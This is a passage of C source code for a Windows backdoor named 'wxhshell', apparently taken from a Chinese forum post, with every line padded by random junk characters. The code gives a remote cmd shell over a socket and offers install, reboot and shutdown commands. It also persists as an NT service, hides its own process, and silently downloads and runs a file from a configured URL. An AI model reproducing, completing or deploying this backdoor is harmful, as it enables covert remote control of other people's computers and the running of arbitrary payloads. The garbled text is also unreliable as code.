  `dL9sfj>  
  // 帮助 E/U1g4S  
  case '?': { t:=Ui/!q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O')Ivm,E  
    break; Kq{s^G  
  } ~S-x-cZ  
  // 安装 ?WAlW,H>  
  case 'i': { $%1[<}<  
    if(Install()) Q8:u1$}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U +mx@C_  
    else ' J-(v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _|A)ueY  
    break; $~D`-+J  
    } :~T:&;q0  
  // 卸载 uL-i>!"L!}  
  case 'r': { =,T~F3pK  
    if(Uninstall()) #v&&GuF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #G*z{BRQ  
    else #mllVQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vjXvjv{t  
    break; ir]uFOj  
    } R4IFl z  
  // 显示 wxhshell 所在路径 xY!]eLZ)&  
  case 'p': { 3I"&Qp%2  
    char svExeFile[MAX_PATH]; K] Eq"3  
    strcpy(svExeFile,"\n\r"); sS-5W-&P{T  
      strcat(svExeFile,ExeFile); c&0IJ7fZG  
        send(wsh,svExeFile,strlen(svExeFile),0); Pi8U}lG;  
    break; gpw(j0/Fs  
    } /u #9M {  
  // 重启 B1LnuB%  
  case 'b': { 8|d[45*q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4yBe(&N-d  
    if(Boot(REBOOT)) #e9B|Y?b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  bM-Y4[  
    else { }*R" yp  
    closesocket(wsh); :m37Fpz&b  
    ExitThread(0); 8tdUnh%/  
    } "%.#/!RG  
    break; P%/+?(?  
    } -9aht}Z  
  // 关机 !o.g2  
  case 'd': { Tl=vgs1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2}}~\C}o+  
    if(Boot(SHUTDOWN)) $iP#8La:Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZnJnjW PQ  
    else { t8P>s})[4  
    closesocket(wsh); 55!9U:{  
    ExitThread(0); ^ MddfBwk  
    } =} vG|  
    break; ;<MaCtDt  
    } (O<lVz@8  
  // 获取shell G+%ZN  
  case 's': { M.IV{gj  
    CmdShell(wsh); Lqch~@E&%#  
    closesocket(wsh); \DQ;v  
    ExitThread(0); Jx{,x-I  
    break; X,OxvmDm  
  } _X]?  
  // 退出 X`aED\#\h  
  case 'x': { .7kVC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #); 6+v  
    CloseIt(wsh); ZDVaKDqZ_  
    break; (=PnLP  
    } >Y \4 v}-  
  // 离开 st+Kz uK  
  case 'q': { BryMq !  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZR#UoYjupb  
    closesocket(wsh); ntF(K/~Y  
    WSACleanup(); GB !3Z  
    exit(1); "^trHh8=  
    break; ~z aV.3#  
        } d@w I: 7  
  } Yb6\+}th  
  } 6C3y+@9  
#|e <l1F  
  // 提示信息 WYh7Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5o72X k  
} >)5vsqGZaK  
  } ;J5oO$H+68  
3; M!]9ms  
  return; 3$kZu  
} =k8A7P  
+L49 pv5  
// shell模块句柄 1/fvk  
int CmdShell(SOCKET sock) -~-2 g  
{ "Km`B1f`  
STARTUPINFO si; <y'ttxeS  
ZeroMemory(&si,sizeof(si)); Fj&vWj`*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UG!&n@R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;{ezK8FJ}@  
PROCESS_INFORMATION ProcessInfo; HwGtLeB"  
char cmdline[]="cmd"; jxoEOEA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9z-"JnM  
  return 0;  ?Z!KV=  
} sV+>(c-$  
*o>E{  
// 自身启动模式 wXZ-%,R -D  
int StartFromService(void) Zn^E   
{ \GWq0z&  
typedef struct FE5R ^W#u-  
{ y%GV9  
  DWORD ExitStatus; MUo?ajbqOd  
  DWORD PebBaseAddress; ~ACB #D%  
  DWORD AffinityMask; e-s@@k  
  DWORD BasePriority; Vnl~AQfk|  
  ULONG UniqueProcessId; #2MwmIeA  
  ULONG InheritedFromUniqueProcessId; ^ ID%pd  
}   PROCESS_BASIC_INFORMATION; nph{  
%*/[aq,#  
PROCNTQSIP NtQueryInformationProcess; "E8!{  
LNg1q1 P3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K)14v;@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <AIsNqr  
F0!r9U((  
  HANDLE             hProcess; &B.r&K&  
  PROCESS_BASIC_INFORMATION pbi; k]JLk"K  
s R~&S))  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UkYQ<MNO  
  if(NULL == hInst ) return 0; i3~!ofTb  
iIT<{m&`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "2h#i nS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lfKknp#B/O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZHBwoC#5}  
54OYAkPCk  
  if (!NtQueryInformationProcess) return 0; V|D;7  
nJ?C4\#3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f"tO*/|`  
  if(!hProcess) return 0; lAGxE-B^a"  
^w HMKC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .SsIU\[)  
;e{2?}#8&  
  CloseHandle(hProcess); kj8zWG4KH  
`SG70/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5FzRusNiA  
if(hProcess==NULL) return 0; 9@j~1G%^  
<V, ?!}V  
HMODULE hMod; l&rDa=m.J  
char procName[255]; [0}471  
unsigned long cbNeeded; :X!(^ a;]  
b^xf ,`D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~ U1iB  
pqs)ueu  
  CloseHandle(hProcess); W@G[ gS\T  
i~,k2*o  
if(strstr(procName,"services")) return 1; // 以服务启动 Zu$f[U)X  
pta%%8":  
  return 0; // 注册表启动 |B n=$T]  
} .$yw;go3  
f 4 _\F/  
// 主模块 izKk@{Md  
int StartWxhshell(LPSTR lpCmdLine) 5A)w.i&V  
{ GBQb({  
  SOCKET wsl; BOWTH{KR<<  
BOOL val=TRUE; r:q#l~;^  
  int port=0; 8iCI s=06  
  struct sockaddr_in door; q5 A+%#  
ELPJ}moWZ  
  if(wscfg.ws_autoins) Install(); e%P;Jj476  
2 9]8[Z,4  
port=atoi(lpCmdLine); H )}WWXK  
bDkE*4SRX  
if(port<=0) port=wscfg.ws_port; zm:=d>D..  
U VLcR  
  WSADATA data; =?lT&|"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <_>6a7ra  
Yyo|W;a]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z>{KeX:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TAi\#cnl(6  
  door.sin_family = AF_INET; E,|n'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <Z;7=k  
  door.sin_port = htons(port); w?*KO?K  
PYUY bRn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DG-vTr  
closesocket(wsl); GKSy|z  
return 1; o ,!"E^  
} So^`L s;S  
L7g&]%  
  if(listen(wsl,2) == INVALID_SOCKET) { =4 D_-Q  
closesocket(wsl); $P-m6  
return 1; +,[3a%c)H  
} Id*^H:]C#  
  Wxhshell(wsl); >(CoXSV5  
  WSACleanup(); vz:0"y  
pd1m/:  
return 0; Psa8OJan  
E oR(/*'  
} OT[m g4&  
.g#=~{A  
// 以NT服务方式启动 7`/qL "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rrWk&;?  
{ L8zqLD i&  
DWORD   status = 0; a7|&Tbv  
  DWORD   specificError = 0xfffffff; &V3oW1*W  
gdK/:%u3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $.1'Ym  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HH#i.s2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PPPwDsJ  
  serviceStatus.dwWin32ExitCode     = 0; /RC!Yi  
  serviceStatus.dwServiceSpecificExitCode = 0; de6dLT>m  
  serviceStatus.dwCheckPoint       = 0; nnNg^<[k3  
  serviceStatus.dwWaitHint       = 0; t4*A+"~j  
%MJ7u}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0q>lW &J  
  if (hServiceStatusHandle==0) return; ;5k|gW  
~K96y$ DTE  
status = GetLastError(); `.W;ptZ6  
  if (status!=NO_ERROR) DxgT]F%  
{ gk1S"H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XgKG\C=3  
    serviceStatus.dwCheckPoint       = 0; WS/+Yl  
    serviceStatus.dwWaitHint       = 0; %`1vIr(7  
    serviceStatus.dwWin32ExitCode     = status; ewG21 q$  
    serviceStatus.dwServiceSpecificExitCode = specificError; \Ji2u GT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UK>=y_FYO  
    return; SU'9+=_$  
  } xUpb1 R  
@>IjfrjV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KL  mB  
  serviceStatus.dwCheckPoint       = 0; -C}59G8  
  serviceStatus.dwWaitHint       = 0; BmFME0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O`jA-t  
} S1`0d9ds#  
E`n`#=xKR  
// 处理NT服务事件,比如:启动、停止 J_|}Xd)~t6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {\/nUbo[  
{ ^6oqq[$  
switch(fdwControl) s~ZFVi-i  
{ . b`P!  
case SERVICE_CONTROL_STOP: +fQL~ 0tA  
  serviceStatus.dwWin32ExitCode = 0; u^$Md WP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i{ @'\}{L  
  serviceStatus.dwCheckPoint   = 0; +i#sS19h  
  serviceStatus.dwWaitHint     = 0; '?gI cWM  
  { Ww&- `.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VQ<i$ I  
  } TDE1z>h+"  
  return; X&?lDL7?  
case SERVICE_CONTROL_PAUSE: T\!SA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _`{{39 F  
  break; 5b`xN!c  
case SERVICE_CONTROL_CONTINUE: 25c!-.5D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .0E4c8R\X  
  break; by]|O  
case SERVICE_CONTROL_INTERROGATE: )UZ0gfx  
  break; x5z4Yv^ m  
}; OG+r|.N;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CPNN!%-  
} v6-~fcX0G  
>DUE8hp ;<  
// 标准应用程序主函数 Hq\E 06S@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M|#5gKXd  
{ Z)i1?#  
~1r*/@M[V  
// 获取操作系统版本 [F)/mN  
OsIsNt=GetOsVer(); 62l0 Z-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |id79qY7g  
E:4P1,%01+  
  // 从命令行安装 s!/holu  
  if(strpbrk(lpCmdLine,"iI")) Install(); XH:gQ9FD  
if[o?6U4t  
  // 下载执行文件 NZC='3Uz  
if(wscfg.ws_downexe) { N 3yB1_   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1|WpKaMoq  
  WinExec(wscfg.ws_filenam,SW_HIDE); t-m9n*\j1  
} sMS9!{A  
Wj j2J8B  
if(!OsIsNt) { sp Q4m  
// 如果时win9x,隐藏进程并且设置为注册表启动 z2Y_L8u2  
HideProc(); "gvw0)  
StartWxhshell(lpCmdLine); h@,e`Z  
} IO!1|JMr6  
else (d'j'U:C  
  if(StartFromService()) a5}44/%  
  // 以服务方式启动 9^QYuf3O  
  StartServiceCtrlDispatcher(DispatchTable); A]iv)C;]  
else b;J0'o^G|  
  // 普通方式启动 ( OyY_`  
  StartWxhshell(lpCmdLine); f>)Tq'  
QPe9s[Y  
return 0; ]fADaw-R  
}
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只看该作者 1 发表于: 2006-10-10
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